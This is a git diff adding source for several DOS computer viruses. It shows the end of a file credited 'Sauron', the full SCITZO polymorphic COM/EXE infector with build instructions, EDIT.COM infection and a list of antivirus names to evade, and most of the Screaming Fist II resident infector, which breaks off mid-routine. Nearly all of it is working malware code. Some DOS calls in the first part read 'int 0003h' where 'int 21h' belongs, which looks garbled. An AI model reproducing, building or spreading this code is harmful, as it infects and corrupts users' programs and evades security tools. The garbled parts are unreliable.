003Bh ; CHDIR + lea dx, [bp+offset dot_dot] ; go to previous dir + int 0003h + jnc traverse_loop ; loop if no error + +exit_traverse: + + lea si, [bp+offset origdir] + mov byte ptr [si], '\' + xchg dx, si + mov ah, 003Bh ; restore directory + int 0003h + + pop dx + pop ds + mov ax, 2524h + int 0003h + + pop ds + pop es + + mov dx, 0080h ; in the PSP + mov ah, 001Ah ; restore DTA to default + int 0003h + +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP2+2], ax + add ax, cs:[bp+word ptr origSPSS2] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS2+2] + sti + db 00EAh +origCSIP2 dd ? +origSPSS2 dd ? +origCSIP dd 0fff00000h +origSPSS dd ? + +return: + ret +INT24: + mov al, 0003h + iret + +infect: + mov ah, 004Eh ; find first + mov cx, 0007h ; all files +findfirstnext: + int 0003h + jc return + lea dx, [bp+newDTA+30] + mov ax, 4300h + int 0003h + jc return + push cx + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0003h + + lea dx, [bp+newDTA+30] + mov ax, 3D02h + int 0003h + xchg ax, bx + + mov ax, 5700h ; get file time/date + int 0003h + push cx + push dx + + mov cx, 001Ah + mov ah, 003Fh + lea dx, [bp+offset readbuffer] + int 0003h + + xor dx, dx + mov ax, 4202h + xor cx, cx + int 0003h + + cmp word ptr [bp+offset readbuffer], 'ZM' + jnz jmp_close + +checkEXE: + cmp word ptr [bp+offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea di, [bp+origCSIP] + lea si, [bp+readbuffer+14h] + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [bp+readbuffer+10h], id ; Initial SP + mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [bp+readbuffer+14h], dx ; IP Offset + mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module. + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [bp+readbuffer+2], ax ; the EXE header. + mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0003h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[bp+patchstart+1], si + mov word ptr ds:[bp+encryptvalue], dx + + lea di, [bp+offset encryptbuffer] + mov cx, (heap-encrypt)/2 + lea si, [bp+offset ENCRYPT] + push si + rep movsw ; copy virus to buffer + + lea ax, [bp+offset endencrypt-encrypt+encryptbuffer] + mov word ptr ds:[bp+patchstart+1], ax + pop si + push [bp+offset endencrypt] + mov byte ptr [bp+offset endencrypt], 00C3h ; retn + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [bp+offset endencrypt] + + + mov ah, 0040h + mov cx, heap-encrypt + lea dx, [bp+offset encryptbuffer] + int 0003h + + mov ax, 4200h + xor cx, cx + xor dx, dx + int 0003h + + + lea dx, [bp+offset readbuffer] + mov ah, 0040h + mov cx, 001Ah + int 0003h + + inc [bp+numinfect] + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0003h + + mov ah, 003Eh + int 0003h + + pop ax ; restore file attributes + pop dx ; get filename and + pop cx ; attributes from stack + int 0003h + + mov ah, 004Fh ; find next + jmp findfirstnext + +creator db 'Ender',0 +virusname db 'Sauron',0 +EXEmask db '*.EXE',0 +dot_dot db '..',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +newDTA db 43 dup (?) +origdir db 65 dup (?) +numinfect db ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/s/SCITZO.ASM b/s/SCITZO.ASM new file mode 100755 index 0000000..d69ee93 --- /dev/null +++ b/s/SCITZO.ASM @@ -0,0 +1,742 @@ +;=============================================================================== +; +; .S.C.I.T.Z.O. .V.i.R.U.S. +; +; (c) Red A 1994 +; +; This is a polymorphic virus, which infects COM & EXE-files. +; This version has a directinfection of C:\DOS\EDIT.COM, +; an older (and buggy) version has directinfection of +; C:\DOS\KEYB.COM. It's decrypted with a normal XOR-decryption, +; and the loader is morphed into 5 parts, each with 3 alternatives. +; It hooks INT21h and infects both on 4B00h and 3Dxxh. Every time +; a file whithout the ext COM or EXE is opened, there is 1% risc +; that the virus will add '(return) I feel a little scitzo... (return)' +; at the end of the file. The 'Return' is a normal 13,10. +; +; The EXE-infection has a small bug, which in some cases makes infected +; files hang the computer. Any talk about fucked HD's is *bullshit*. +; +; To turn this source into a virus, assemble and link it with +; TASM 3.0+ and put it together with an 8 bytes DUMMIE-file... +; (that is copy /b dummie.com+scitzo.com ready.com - tu) +; +; I also have an new version of this virus, with stealth function +; and a more advanced loadermorphing, but I don't think I'm going +; to spread it. Now I know that I'm able to create polymorphic +; virus, and I've no interest in causing people trouble. +; + +; Well, that's all from me. Hope you'll find this source interesting. + +; / Red A 1994 + +;=============================================================================== + + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + +.386 + +org 100h + +virsize equ virend-virstart + +virstart: +; =============================== +tbavfuck: mov cx,0ffffh +xxx: mov si,621h + loop xxx + nop +; =============================== +cdds: mov ax,cs + mov ds,ax +; =============================== +cryptadder: mov si,offset cryptstart+5 ; Cryptstart in si + mov al,0 +; =============================== +len: mov ax,(virend-cryptstart)/2+1 + mov cx,ax + mov ax,cx + mov cx,ax +; =============================== +decloop: + db 081h,034h ; xor word ptr [si], NOT MODIFIED :( +decval1: db 000h,000h ; 0000h +; =============================== +loopen: sub si,0FFFEh ; add si,2 + loop decloop ; loop decloop +; =============================== + jmp cryptstart +;------------------------------------------------------------------------------- +; Decryptor & viruswriter +;------------------------------------------------------------------------------- +decrypt: call crypter + mov ah,40h + mov cx,virend-cryptstart + mov dx,offset cryptstart-0100h + pushf + db 09Ah ; call +Oldint21_II: dd 0 ; xxxx:xxxx + call crypter + ret +crypter: + mov si,offset cryptstart-0100h + mov cx,(virend-cryptstart)/2+1 +decloop2: + db 081h,034h ; xor word ptr [si], +decval2: db 000h,000h ; 0000h + inc si + inc si + loop decloop2 + ret + nop + + db ' So, you''ve found this text? ' + +;------------------------------------------------------------------------------- +; Here starts the maindecrypted code +;------------------------------------------------------------------------------- +cryptstart: + call GetIP +GetIP: pop si + sub si,offset GetIP-virstart + + push cs + pop ds + mov ax,0ABCDh ; Check if the virus + int 21h ; is already resident + cmp ax,'AH' + je exit ; if so, exit and + ; run program + mov ah,4ah ; Get #of free paras + mov bx,0ffffh ; in bx + int 21h ; + + sub bx,(virsize+15)/16+1 ; change.. + mov ah,4ah + int 21h + + mov ah,48h ; ..allocation. + mov bx,(virsize+15)/16 + int 21h + jc exit + + dec ax ; ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ; Mark DOS as owner + inc ax + mov es,ax + + xor di,di + mov cx, virsize + rep movsb ; Copy virii to mem + + push es + pop ds + mov ax,3521h ; Hook old INT21h + int 21h + mov word ptr ds:[OldInt21-virstart],bx + mov word ptr ds:[OldInt21-virstart+2],es + mov dx, offset NewInt21-virstart ; Set new INT21h + mov ax,2521h + int 21h +;------------------------------------------------------------------------------- +; Directinfection of C:\DOS\KEYB.COM +;------------------------------------------------------------------------------- + + push cs + pop ds + call GetIP3 ; fix offsset to the string + db 'C:\DOS\EDIT.COM',0 +GetIP3: pop dx ; offset in dx + mov ax,3d02h ; open file, and infect + int 21h + xchg ax,bx ; Fileptr i bx + mov ah,3eh ; close file... + int 21h + +;------------------------------------------------------------------------------- +; Exit - restore the 3 startbytes if COM, jumps to org CS:IP if EXE +;------------------------------------------------------------------------------- +exit: + push cs + push cs + pop ds + pop es + call GetIP2 +old3bytes: db 0B8h,000h,04Ch ; Will be MOV AX,4C00h +jmpstr: db 0e9h,002h,000h +execom db 0h +exejmp: db 0EAh ; jmp far +exejmpstr: dw 0 ; 0000:0000 +GetIP2: + pop si ; Get the pos of old3bytes + cmp byte ptr [si+6],0 ; COM or EXE infection? + jne runexe + mov di,0100h ; Startpos + movsw ; Writes the three + movsb ; bytes to pos + mov ax,0100h + jmp ax +runexe: + mov ax,cs +old_cs: add ax,1234h + mov word ptr [si+10],ax + + push ss + pop ax + sub ax,10h + mov es,ax + mov ds,ax + + push ss + pop ax + +old_ss: add ax,1234h +old_sp: mov bx,1234h + cli + mov ss,ax + mov sp,bx + sti + + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + + jmp exejmp + +;------------------------------------------------------------------------------- +; New INT21h interrupt handler +;------------------------------------------------------------------------------- + +NewInt21: + cmp ax,0ABCDh ; Is the virus calling? + jne cont ; Nope, continue. + mov ax,'AH' ; Tell the virus that + iret ; it's already in mem. +cont: + cmp ax,4b00h ; File executed? + je jmpfilerun + cmp ah,3dh + je fileopen + jmp doint21 + +jmpfilerun: call filerun + +doint21: + db 0eah +Oldint21: dd 0 + +;------------------------------------------------------------------------------- +; File open with 3Dxxh +;------------------------------------------------------------------------------- +fileopen: + push di + push es + push cx + push ax + push ds + pop es + + mov cx,64 + mov di,dx + mov al,'.' + repne scasb + + pop ax + pop cx + + cmp word ptr ds:[di],'OC' + jne break1 + cmp byte ptr ds:[di+2],'M' + jne break1 + jmp gofilerun +break1: + cmp word ptr ds:[di],'XE' + jne break2 + cmp byte ptr ds:[di+2],'E' + jne break2 + +gofilerun: pop es + pop di + call filerun + jmp doint21 +break2: + pop es + pop di + call addtext + jmp doint21 + +;------------------------------------------------------------------------------- +; File executed with 4B00h +;------------------------------------------------------------------------------- +filerun: + push ax + push bx + push cx + push dx + push ds + push es + + push cs + pop es + cld + + mov di,offset signat-100h + mov cx,12 +checkl: mov si,dx + lodsw + scasw + je hmm + inc di + loop checkl + jmp nopes +hmm: + lodsb + scasb + je closefile +nopes: + mov ax,3D02h ; Open the file.. + pushf + push cs + call doint21 ; Fake INT21 with flags & cs + jnb go_on ; Ok.. + jmp closefile ; error, dont go on. +go_on: + mov bx,ax ; File handle in bx + + push cs + pop ds ; The actual segment + + mov ax,5700h ; Get date/time in dx-cx + int 21h + mov word ptr ds:[date-100h],dx + mov word ptr ds:[time-100h],cx + and cl,1fh + cmp cl,3 + je closefile + + mov ah,3Fh ; Read + mov dx,offset old3bytes-0100h + mov cx,3 + int 21h ; Read three first bytes + cmp word ptr ds:[old3bytes-0100h],'ZM' ; .EXE? + je infectexe + cmp word ptr ds:[old3bytes-0100h],'MZ' ; .EXE? + je infectexe + cmp word ptr ds:[old3bytes-0100h],80E9h ; Debug? + je gerror + jmp infectcom +gerror: jmp closefile + +;------------------------------------------------------------------------------- +; Infect EXE-file +;------------------------------------------------------------------------------- +infectexe: + mov si,offset execom-100h ; Mark that virus is + mov byte ptr [si],1 ; infected on EXE + + mov ax,4200h + xor cx,cx + xor dx,dx ; move ptr to SOF + int 21h + + mov ah,3Fh ; Read + mov dx,offset exeheader-100h + mov cx,18h + int 21h ; Read header + + mov ax,4202h + xor cx,cx + xor dx,dx ; move ptr to EOF + int 21h + + mov word ptr ds:[eof-100h],ax + + cmp ax,0FFFFh-virsize ; Can the virus fit? + ja closefile + or dx,dx ; File bigger than 1 seg? + jnz closefile + + mov dx, word ptr ds:[exeheader-100h+08h] ; Hsize/16 + mov cl,4 + shl dx,cl ; *16 + sub ax,dx + mov word ptr ds:[save-100h],ax + + mov dx,ax + add dx,offset cryptstart-100h + mov word ptr ds:[cryptadder+1-0100h],dx ; Fix cryptstart + + mov ax,word ptr ds:[exeheader-100h+14h] ; the program's + mov word ptr ds:[exejmpstr-100h],ax ; start + + mov ax,word ptr ds:[exeheader-100h+16h] ; CS + mov word ptr ds:[old_cs-100h+1],ax ; + + mov ax,word ptr ds:[exeheader-100h+0eh] ; SS + mov word ptr ds:[old_ss-100h+1],ax + + mov ax,word ptr ds:[exeheader-100h+10h] ; SP + mov word ptr ds:[old_sp-100h+1],ax + + call morphloader + call writevirus + + mov ax,word ptr ds:[eof-100h] + xor dx,dx + add ax,virsize ; New EOF + mov cx,200h ; 512.. + div cx ; EOF/512 + inc ax ; inc slack.. + mov word ptr ds:[exeheader-100h+2],dx ; Slack of size/512 + mov word ptr ds:[exeheader-100h+4],ax ; Size/512 + mov word ptr ds:[exeheader-100h+0eh],0 ; Stack size/16 + mov word ptr ds:[exeheader-100h+10h],0ffffh; SP + mov word ptr ds:[exeheader-100h+16h],0 ; CS in module + + mov ax,word ptr ds:[save-100h] + mov word ptr ds:[exeheader-100h+14h],ax ; IP in module + + mov ax,4200h + xor cx,cx + xor dx,dx ; move ptr to SOF + int 21h + + mov ah,40h ; Write + mov dx,offset exeheader-100h + mov cx,18h + int 21h ; Write header + jmp closefile + +save dw 0 +eof dw 0 +time dw 0 +date dw 0 + +banner: db 13,10,'I feel a little scitzo...',13,10 +bannerend: +;------------------------------------------------------------------------------- +; Infect COM-file +;------------------------------------------------------------------------------- +infectcom: + mov si,offset execom-100h ; Mark thar virus is + mov byte ptr [si],0 ; infected on COM + + mov ax,4202h + xor cx,cx + xor dx,dx ; move ptr to EOF, + int 21h ; pos in AX + + mov dx,ax ; Virustes startpos+3 i dx + add dx,offset cryptstart + mov word ptr ds:[cryptadder+1-0100h],dx ; Fix cryptstart + sub ax,3 + mov word ptr ds:[jmpstr-0100h+1],ax ; Fix jmp + + call morphloader + call writevirus + + mov ax,4200h + xor cx,cx + xor dx,dx ; move ptr to SOF, + int 21h + + mov ah,40h + mov cx,3 + mov dx,offset jmpstr-0100h + int 21h ; Write jmpstr + jmp closefile + +;------------------------------------------------------------------------------- +; Adds the text to files... +;------------------------------------------------------------------------------- +addtext: + push ax + push bx + push cx + push dx + push ds + push es + + mov ax,03d02h + pushf + push cs + call doint21 ; fake INT 21h + jc closefile + + xchg ax,bx + + mov ax,5700h ; Get date/time in dx-cx + int 21h + mov word ptr ds:[date-100h],dx + mov word ptr ds:[time-100h],cx + and cl,1fh + cmp cl,3 + je closefile + + mov ah,2ch ; Fix random + int 21h + cmp dl,0 + jne closefile + + mov ax,4202h + xor cx,cx + xor dx,dx ; move ptr to EOF, + int 21h + + push cs + pop ds + + mov ah,40h ; Write to file + mov dx,offset banner-0100h + mov cx,bannerend-banner ; Length of banner + int 21h + +;------------------------------------------------------------------------------- +; Closefile +;------------------------------------------------------------------------------- +closefile: + push cs + pop ds + mov ax,5701h ; Restore date... + mov cx,word ptr ds:[time-100h] + mov dx,word ptr ds:[date-100h] + and cl,11100000b + or cl,00000011b ; ...and mark infected + int 21h + + mov ah,3Eh ; Close file.. + int 21h + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn + + db ' SCITZO - by "RED A", Lund, Sweden 1994 ' + +;------------------------------------------------------------------------------- +; Alternative for the 'loader' +;------------------------------------------------------------------------------- + +varlad1: db 0B8h,08Bh,0F0h ; mov ax, .. ; mov si,ax + db 0BBh,087h,0F3h ; mov bx, .. ; xchg bx,si + db 0BEh,0B0h,000h ; mov si, .. ; mov al,0 +;------------------------------------------------------------------------------- +varlad2: mov ax,(virend-cryptstart)/2+1 + mov cx,ax + mov ax,cx + mov cx,ax +; --- + mov bx,(virend-cryptstart)/2+1+01234h + sub bx,01234h + xchg cx,bx +; --- + mov di,(virend-cryptstart)/2+1-05678h + add di,5678h + mov cx,di +;------------------------------------------------------------------------------- +varlad3: + db 046h,046h,0E2h,0F8h,04Bh,043h + db 083h,0c6h,002h,0e2h,0f7h,047h + db 081h,0eeh,0feh,0ffh,0e2h,0f6h +;------------------------------------------------------------------------------- +varlad4: mov cx,0ffffh +x: mov si,621h + loop x + nop +; --- + add cx,8077h +xx: mov si,2133h + loopnz xx +; --- + sub cx,0ABCDh +xxxx: mov di,2333h + loop xxxx +;------------------------------------------------------------------------------- +varlad5: mov ax,cs + mov ds,ax +; --- + mov dx,cs + mov ds,dx +; --- + mov ah,39 + push cs + pop ds +;------------------------------------------------------------------------------- +; Routin to encrypt/decrypt the encryptor +;------------------------------------------------------------------------------- +cryptcrypt: + mov si,offset decrypt-0100h + mov cx,(cryptstart-decrypt)/2 +decloop3: + db 081h,034h ; xor word ptr [si], +decval3: db 000h,000h ; 0000h + inc si + inc si + loop decloop3 + ret + +;------------------------------------------------------------------------------- +; Encrypt the main body of the virus, via the encryptor and write loader+krypt +;------------------------------------------------------------------------------- +writevirus: + call cryptcrypt ; decipher the decryptor + + mov ah,2ch ; get random value + int 21h + mov word ptr ds:[decval1-100h],dx + mov word ptr ds:[decval2-100h],dx + mov word ptr ds:[decval3-100h],dx + + call cryptcrypt ; encrypt the encryptor + ; with a new value + mov ah,40h + mov cx,cryptstart-virstart + xor dx,dx ; write loader+krypterare + int 21h ; loadern + call cryptcrypt ; decipher the decryptor for + call kryptnwrite ; for using & use + ret + +;------------------------------------------------------------------------------- +; Encrypt the mainpart of the virus, via the encryptor +;------------------------------------------------------------------------------- +kryptnwrite: + mov ax,word ptr ds:[OldInt21-0100h] ; Fix addr + mov word ptr ds:[OldInt21_ii-0100h],ax ; to + mov ax,word ptr ds:[OldInt21-0100h+2] ; INT21 + mov word ptr ds:[OldInt21_ii-0100h+2],ax ; call + + call decrypt ; Encrypt virus+write virus + call cryptcrypt ; Encrypt the encryptor + ret + +;------------------------------------------------------------------------------- +; Routine for encrypt/decrypt the decryptor +;------------------------------------------------------------------------------- +morphloader: + mov ah,2ch ; Fix random + int 21h + + push ds + pop es + + mov ax,dx ;Move randomvalue to ax + and ax,3 ;get random 0-3 + cmp al,3 ;check 3, if so decrease + jne nosub ;to 2. random = 0-2 + dec al +nosub: mov cl,3 ; multiply random with 3 + mul cl + mov si,offset varlad1-0100h + add si,ax ; Get pos in varlad1 + mov di,offset cryptadder-100h + movsb + inc di + inc di + movsw + + mov ax,dx ;Random value to ax again + shr ax,2 ;2 new bits + and ax,3 ;random 0-3 + cmp al,3 ;3? == decrease to + jne nosub2 ;till 2. random = 2 + dec al +nosub2: mov cl,9 ; multiply random with 9 + mul cl + mov si,offset varlad2-0100h + add si,ax ; Get pos i varlad2 + mov di,offset len-100h + movsw + movsw + movsw + movsw + movsb + + mov ax,dx ;Random to ax (again!) + shr ax,4 ;2 new bits + and ax,3 ;random 0-3 + cmp al,3 ;3? - decrease to + jne nosub3 ;2. random 0-2. + dec al +nosub3: mov cl,6 ;Multiply random with 6 + mul cl + mov si,offset varlad3-0100h + add si,ax ;Get pos in varlad2 + mov di,offset loopen-100h + movsw + movsw + movsw + + mov ah,2ch ; Get new random + int 21h + + mov ax,dx ;Random value to ax + shr ax,3 ;2 new bits + and ax,3 ;get random from 0-3 + cmp al,3 ;3?, if so, decrease to + jne nosub4 ;2. random 0-2 + dec al +nosub4: mov cl,9 ;mul random with 9 + mul cl + mov si,offset varlad4-0100h + add si,ax ;get pos in varlad2 + mov di,offset tbavfuck-100h + movsw + movsw + movsw + movsw + movsb + + mov ax,dx ;random to till ax (again) + shr ax,1 ;2 new bits + and ax,3 ;random = 0-3 + cmp al,3 ;3?, descrease with one to + jne nosub5 ;2. random = 0-2 + dec al +nosub5: mov cl,4 ;multiply random with 4 + mul cl + mov si,offset varlad5-0100h + add si,ax ; Get pos in varlad5 + mov di,offset tbavfuck-0100h + movsw + movsw + ret +;------------------------------------------------------------------------------- +signat: + +; Check for files that shouldnt be infected.. +; This wasn't included in the public first release ( - tu) + + db 'TBA' ; Tbav + db 'TBS' ; Tbscan + db 'F-P' ; F-Prot + db 'VSH' ; Vshield + db 'MSA' ; Msav + db 'TBC' ; Tbclean + db 'CPA' ; Cpav + db 'VSA' ; Vsafe + db 'VIR' ; Viruscan (etc..) + db 'SCA' ; Scan + db 'CLE' ; Clean + db 'TOO' ; S&S Toolkit + +exeheader db 18h dup (0) ; + +virend: + +cseg ends +end virstart + + +; Well, that's all folks. + diff --git a/s/SCREAMII.ASM b/s/SCREAMII.ASM new file mode 100755 index 0000000..008667a --- /dev/null +++ b/s/SCREAMII.ASM @@ -0,0 +1,577 @@ +ORG 100H + + +; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc. +; The author assumes no responsibility for any damage incurred +; from the infection caused by this virus + +CURTAIN_OPEN EQU $ + +ARE_WE_RESIDENT?: + CLD ;Do not remove this + CALL DECRYPT_US + +NEXT_PLACE: + + MOV AH,30H ;Get DOS version + INT 21H + CMP AL,2 ;Lower than 2? + JBE LEAVE_AND_RESTORE ;Yes,exit + XOR AX,AX + DEC AX ;Will return AX=0 if virus is resident + INT 21H + OR AX,AX ;Are we resident? + JZ LEAVE_AND_RESTORE ;If not, install + +START: + PUSH DS + XOR AX,AX ;Now make DS=0 + MOV DS,AX + DEC WORD PTR [413H] ;Decrease available memory by 1k + LDS BX,[0084] ;Get INT 21 vector and save it + CS: + MOV [BP+OLD_21_BX-NEXT_PLACE],BX + CS: + MOV [BP+OLD_21_ES-NEXT_PLACE],DS + MOV BX,ES ;Get address of our memory block + DEC BX + MOV DS,BX + SUB WORD PTR [0003],80H ;Decrease memory allocated to this program + MOV AX,[0012] ;Decrease total memory + SUB AX,80H ;By 80 paragraphs + MOV [0012],AX ;And save it again + MOV ES,AX ;Also gives us ES=Top of memory + PUSH CS ;CS=DS + POP DS ; + MOV SI,BP ; + SUB SI,OFFSET NEXT_PLACE - 100H ;Offset of code to move + MOV DI,100H ;ES:100h is destination + MOV CX,LENGTH ;Move entire virus + REPZ MOVSB ;Move entire virus to top of memory + MOV DS,CX ;DS=0 + CLI ;Disable interrupts + MOV [0086],AX + MOV WORD PTR [0084],OFFSET NEW_21 ;Set INT 21 to our code in high memory + STI ;Enable interrupts + MOV AX,3DFFH ;Code to infect command processor + INT 21H + POP DS ;DS=ES + PUSH DS + POP ES + +LEAVE_AND_RESTORE: + ;PUSH DS This is just some silly code + ;XOR AX,AX That will cause random problems + ;MOV DS,AX Like floppies not working + ;IN AL,21H Or the system clock stopping + ;XOR AL,[046CH]B If you want to use it + ;AND AL,0FDH Just remove the semi-colons + ;OUT 21H,AL + ;POP DS + + SUB BP,OFFSET NEXT_PLACE - 100H ; + OR BP,BP + JZ LEAVE_EXE ;A zero BP means we're leaving an .EXE + LEA SI,[BP+ORIGINAL_EIGHT-NEXT_PLACE+4] ;Restore original eight bytes so + ;we can RET to them + MOV DI,100H + PUSH DI ;Restore first four bytes + MOVSW + MOVSW + RET ;And return to 100 + +LEAVE_EXE: + MOV AX,ES ;Use ES for a displacment value + ADD CS:OLD_CS_DISP - 100H,AX ;Fix up the CS value + ADD CS:OLD_SS_DISP - 100H,AX ;And the SS value + + MOV SS,CS:offset OLD_SS_WORD - 100h ;Set the correct SS + MOV SP,CS:offset OLD_SP_WORD - 100h ;And the correct SP + JMP $+2 ;Necessary for .EXE's to run right + ;DO NOT REMOVE! IF YOU DO, .EXE's WON'T RUN! + +DB ,0EAH, ;Makes a far jump to the original .EXE + ;Entry point + +ORIGINAL_EIGHT EQU $ + +OLD_IP EQU $ + MOV AH,4CH ;.COM file beginning stored here + +OLD_CS_DISP EQU $ + INT 21H ; + +OLD_SS_DISP EQU $ +OLD_SS_WORD DW 00 00 ;Save old SS here + +OLD_SP EQU $ +OLD_SP_WORD DW 00 00 ;And old SP here + +;; +;Here is where the resident part begins in high memory. ; +;On systems with 640k, this is usually at segment 9F80 ; +;; + +NEW_21: + PUSHF + CMP AX,0FFFFH ;AX=FFFF means a program is asking + JNZ CONTINUE_ASKING ;If the virus is resident + + POPF ;Return to show that virus is resident + INC AX ;Return AX=0 to show that we are resident + IRET + +CONTINUE_ASKING: ;Infect files on: + CMP AH,3DH ;Opening + JZ OPENING + CMP AH,4BH ;Running + JZ INFECT_REGULAR + CMP AH,43H ;Chmod + JZ INFECT_REGULAR + CMP AH,56H ;Renaming + JZ INFECT_REGULAR + + JMP SHORT OUTTA_HERE + +OPENING: + CMP AL,0FFH ;Do we need to infect command processor? + JNZ INFECT_REGULAR ;Nope, continue + + PUSH CS ;DS=CS + POP DS + MOV DX,OFFSET COMMAND ;If so, let's use C:\COMMAND.COM + +COM_FILE: + CALL DISEASE + POPF + IRET + +INFECT_REGULAR: + + PUSH AX ;Save AX + CALL CHECK_NAME ;Is DS:DX a .COM or an .EXE file? + OR AX,AX ;A non-zero AX means nope + JNZ OUT_WITH_POP + CALL DISEASE ;Infect file + +OUT_WITH_POP: + POP AX ;Restore AX +OUTTA_HERE: + POPF ;Continue with old INT 21 + +DB ,0EAH, ;Code for a JMP FAR + +OLD_21_BX DW 00 00 ;Old Int 21 location is stored here +OLD_21_ES DW 00 00 ; + +FUNCTION: ;Used by virus to call old INT 21 + PUSHF + CALL DWORD PTR CS:[OLD_21_BX] + RET + + +;; +;This portion handles the actual infection process ; +;; +DISEASE: + + PUSH AX ;Save all registers + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + PUSH DX + +ABOVE_2: + MOV CS:[OLD_DS]W,DS ;Save DS + MOV CS:[OLD_ES]W,ES ;Save ES + PUSH CS ;CS=DS=ES + PUSH CS + POP DS + POP ES + MOV AX,3524H ;Get INT 24 address + CALL FUNCTION ; + MOV OFFSET OLD_24_BX,BX ;Save it + MOV OFFSET OLD_24_ES,ES ; + MOV AH,25H ;Now set it to our own code + LEA DX,OFFSET NEW_24 ;Offset of our INT 24 code + CALL FUNCTION ; + + MOV AH,36H ;Get disk free space + XOR DL,DL ;And quit if less than virus length + CALL FUNCTION + JC NEED_TO_LEAVE + OR DX,DX + JNZ SET_ATTRIBS + MUL CX + MUL BX + CMP AX,LENGTH + JNB SET_ATTRIBS + +NEED_TO_LEAVE: + POP DX ;Clear stack + JMP DONE ;And return + + +SET_ATTRIBS: + POP DX + PUSH DX + MOV DS,OLD_DS + MOV AX,4300H ;Get the attributes + CALL FUNCTION + MOV CS:[OLD_ATTRIBS],CX ;Save them for later + XOR CX,CX + MOV AX,4301H + CALL FUNCTION ;Set attribs to normal + JC LEAVE_WITH_ATTRIBS ;Leave if error + +OPEN_IT: + MOV AX,3D02H ;Open file with Read and Write access + CALL FUNCTION + JC NEED_TO_LEAVE ;Quit on error + PUSH CS ;CS=DS + POP DS + XCHG BX,AX ;Save handle + MOV AH,3FH ;Read BUF_LENGTH bytes into CS:BUFFER + LEA DX,BUFFER ;Offset of buffer + MOV CX,BUF_LENGTH ;Read 'Em + CALL FUNCTION + JC LEAVE_AND_CLOSE ;Quit on error + CMP OFFSET BUFFER,5A4DH ;Is this an .EXE file? + JZ NAIL_EXE ;If so, we gotta do some things + +;; +;This portion handles a .COM infection ; +;; + MOV AL,[BUFFER+3]B ;An indentical byte means this .COM is + INC AL + CMP AL,[BUFFER+1]B ;probably already infected + JNZ CONTINUE_TO_INFECT ;If it isn't, let's get it! + +LEAVE_AND_CLOSE: + MOV AH,3EH ;Close this file + CALL FUNCTION + +LEAVE_WITH_ATTRIBS: + POP DX + PUSH DX + CALL RESTORE_ATTRIBS ;Restore the attributes if needed + JMP SHORT NEED_TO_LEAVE + +CONTINUE_TO_INFECT: + + MOV SI,OFFSET BUFFER ;Starting at CS:BUFFER + PUSH CS ;CS=ES + POP ES + LEA DI,OFFSET ORIGINAL_EIGHT;Where to save original eight bytes to + MOVSW ;Save infected files original eight bytes + MOVSW + + MOV AX,4202H ;Send RW pointer to end of file + XOR CX,CX + XOR DX,DX + CALL FUNCTION + OR DX,DX ;A non-zero DX means too big of a file + JNZ LEAVE_AND_CLOSE + CMP AX,300 ;Don't infect files less than 300 bytes + JB LEAVE_AND_CLOSE + CMP AX,64000 ;Or bigger than 64000 + JA LEAVE_AND_CLOSE + SUB AX,3 ;Use the pointer as our jump code + MOV [BUFFER]B,0E9H ;Code for absolute JMP + MOV [BUFFER+1],AX ;This sets up the .COM so we can tell + DEC AL ;If it's infected next time we see it + MOV [BUFFER+3],AL + JMP SHORT ATTACH ;Continue past .EXE infector + +;; +;This portion handles infecting all .EXE files ; +;; +NAIL_EXE: + + CMP WORD PTR [BUFFER+14H],1 ;Offset of IP reg. Is this .EXE infected? + JZ LEAVE_AND_CLOSE ;Leave if already infected + +GET_EXE: + MOV AX,[BUFFER+4] ;EXE size in 512 byte pages + MOV CX,0200H ;Multiply by 512 to get filesize + MUL CX ; + PUSH AX ;Save AX, AX=Filesize low byte + PUSH DX ;Save DX, DX=Filesize high byte + MOV CL,04 ; + ROR DX,CL ; + SHR AX,CL ; + ADD AX,DX ; + SUB AX,[BUFFER+8] ;Size of header in 16 byte paragraphs + PUSH AX ;AX is new code segment displacement + MOV AX,[BUFFER+14H] ;Get old IP register + MOV [OLD_IP],AX ;Save it here + MOV AX,[BUFFER+16H] ;Get old code segment displacement + ADD AX,10H ;Add 10 to it + MOV [OLD_CS_DISP],AX ;Save it here + MOV AX,[BUFFER+14] ;Get old stack segment + ADD AX,10H ;Adjust it for later + MOV [OLD_SS_DISP],AX ;And save it here + MOV AX,[BUFFER+16] ;Get stack pointer + MOV [OLD_SP],AX ;And save it here + POP AX ;Restore AX + MOV [BUFFER+16H],AX ;New code segment + MOV [BUFFER+14],AX ;New SS=CS + MOV [BUFFER+16],0FFFFH ;SP = End of viral code + MOV WORD PTR [BUFFER+14H],1 ;New IP register + ADD WORD PTR [BUFFER+4],2 ;Size of file in 512 byte pages + POP CX + POP DX + MOV AX,4200H ;Move file pointer + CALL FUNCTION + 